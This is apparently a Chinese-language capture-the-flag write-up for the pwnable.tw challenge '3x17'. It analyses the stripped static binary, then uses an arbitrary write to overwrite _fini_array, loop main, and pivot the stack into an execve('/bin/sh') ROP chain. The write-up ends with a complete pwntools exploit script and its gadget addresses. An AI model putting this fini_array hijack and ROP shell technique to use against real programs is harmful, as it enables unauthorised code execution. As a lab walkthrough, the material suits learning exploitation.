pwnable.tw 3x17
0x00 前置知识
- 函数调用流程
- 栈迁移
0x10 程序分析
程序属性:
3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped
[*] '/home/f0und/pwnable.tw/3x17/3x17'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
64位静态链接文件,未开保护,去符号表的程序
根据字符串找到主处理程序:
__int64 __fastcall sub_401B6D(__int64 a1, char *a2, __int64 a3)
{
__int64 result; // rax
char *v4; // ST08_8
__int64 v5; // rcx
unsigned __int64 v6; // rt1
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
result = (unsigned __int8)++byte_4B9330;
if ( byte_4B9330 == 1 )
{
sub_446EC0(1u, "addr:", 5uLL);
sub_446E20(0, &buf, 0x18uLL);
v4 = (char *)(signed int)sub_40EE70(&buf, &buf);
sub_446EC0(1u, "data:", 5uLL);
a2 = v4;
a1 = 0LL;
sub_446E20(0, v4, 0x18uLL);
result = 0LL;
}
v6 = __readfsqword(0x28u);
v5 = v6 ^ v8;
if ( v6 != v8 )
sub_44A3E0(a1, a2, a3, v5);
return result;
}
从经验判断函数名:
__int64 __fastcall sub_401B6D(__int64 a1, char *a2, __int64 a3)
{
__int64 result; // rax
int v4; // eax
char *v5; // ST08_8
__int64 v6; // rcx
unsigned __int64 v7; // rt1
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v9; // [rsp+28h] [rbp-8h]
v9 = __readfsqword(0x28u);
result = (unsigned __int8)++byte_4B9330;
if ( byte_4B9330 == 1 )
{
write(1u, "addr:", 5uLL);
read(0, &buf, 0x18uLL);
atoi((__int64)&buf);
v5 = (char *)v4;
write(1u, "data:", 5uLL);
a2 = v5;
a1 = 0LL;
read(0, v5, 0x18uLL);
result = 0LL;
}
v7 = __readfsqword(0x28u);
v6 = v7 ^ v9;
if ( v7 != v9 )
sub_44A3E0(a1, a2, a3, v6);
return result;
}
并且可以看出其实他是开了栈溢出保护的,只是没有被识别出来
经过调试,我们发现这是一次任意地址写:
查看函数的交叉引用发现:
而一般64位程序为:
而libc_start_main的调用流程:
- 启动线程
- 把
fini
函数和rtld_fini
函数作为参数传递给at_exit
调用,使它们在at_exit
里被调用,从而完成用户程序和加载器的调用结束之后的清理工作 - 调用其
init
参数 - 调用
main
函数,并把argc
和argv
参数、环境变量传递给它 - 调用
exit
函数,并将main函数的返回值传递给它
函数调用流程:_start -> __libc_start_main -> __libc_csu_init -> _init -> main -> _fini->_fini_array[1]->_fini_array[0]
0x20 思路
由于我们只有一次任意地址写,且程序没有后门,并且程序为静态编译的,只能调用程序本身有的gadget,因此我们需要想办法让程序多执行几次来让我们可以拥有多几次任意写的机会
根据函数调用的流程_start -> __libc_start_main -> __libc_csu_init -> _init -> main -> _fini->_fini_array[1]->_fini_array[0]
我们可以修改数组_fini_array[1]
使其指向main
, _fini_array[0]
使其指向_fini
使程序流程为:_start -> __libc_start_main -> __libc_csu_init -> _init -> main -> _fini->fini_array[1]->main->_fini_array[0]->_fini->_fini_array[1]->main->_fini->_fini_array[1]->main
构成循环
然后将我们的ROP链布置在fini_array+0x10
,最后修改_fini_array
使用栈迁移回来,完成利用
ROP链条:
/*execve("/bin/sh",0,0)*/
pop rax ret
0x3b
pop rdi ret
/bin/sh
pop rsi ret
0
pop rdx ret
0
syscall
leave ret
ret
0x000000000041e4af : pop rax ; ret
0x0000000000401696 : pop rdi ; ret
0x0000000000406c30 : pop rsi ; ret
0x0000000000446e35 : pop rdx ; ret
0x00000000004022b4 : syscall
leave_ret = 0x401c4b
0x0000000000401016 : ret
0x30 final exp
#/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
proc="./3x17"
context.update(arch = 'x86', os = 'linux')
elf=ELF(proc)
def change(addr,data):
sh.sendafter("addr:",str(addr))
sh.sendafter("data:",p64(data))
def pwn(ip,port,debug):
global sh
if debug==1:
context.log_level="debug"
sh=process(proc)
else:
sh=remote(ip,port)
# gdb.attach(sh,"b *0x401c4c")
pop_rax = 0x000000000041e4af
pop_rdi = 0x0000000000401696
pop_rsi = 0x0000000000406c30
pop_rdx = 0x0000000000446e35
syscall = 0x00000000004022b4
leave_ret = 0x401c4b
ret = 0x0000000000401016
_fini_arry = 0x4B40F0
fini =0x402960
main_ret = 0x401B6D
bss_addr = _fini_arry+0x10
bin_sh_addr = bss_addr+0x48
sh.sendafter("addr:",str(_fini_arry))
sh.sendafter("data:",p64(fini)+p64(main_ret))
change(bss_addr,pop_rax)
change(bss_addr+0x8,0x3b)
change(bss_addr+0x10,pop_rdi)
change(bss_addr+0x18,bin_sh_addr)
change(bss_addr+0x20,pop_rsi)
change(bss_addr+0x28,0)
change(bss_addr+0x30,pop_rdx)
change(bss_addr+0x38,0)
change(bss_addr+0x40,syscall)
change(bss_addr+0x48,u64('/bin/sh\x00'))
gdb.attach(sh,"b *0x00401BF8")
sh.sendafter("addr:",str(_fini_arry))
sh.sendafter("data:",p64(leave_ret)+p64(ret))
sh.interactive()
if __name__ =="__main__":
pwn("chall.pwnable.tw",0,1)
"""
0x000000000041e4af : pop rax ; ret
0x0000000000401696 : pop rdi ; ret
0x0000000000406c30 : pop rsi ; ret
0x0000000000446e35 : pop rdx ; ret
0x00000000004022b4 : syscall
leave_ret = 0x401c4b
0x0000000000401016 : ret
"""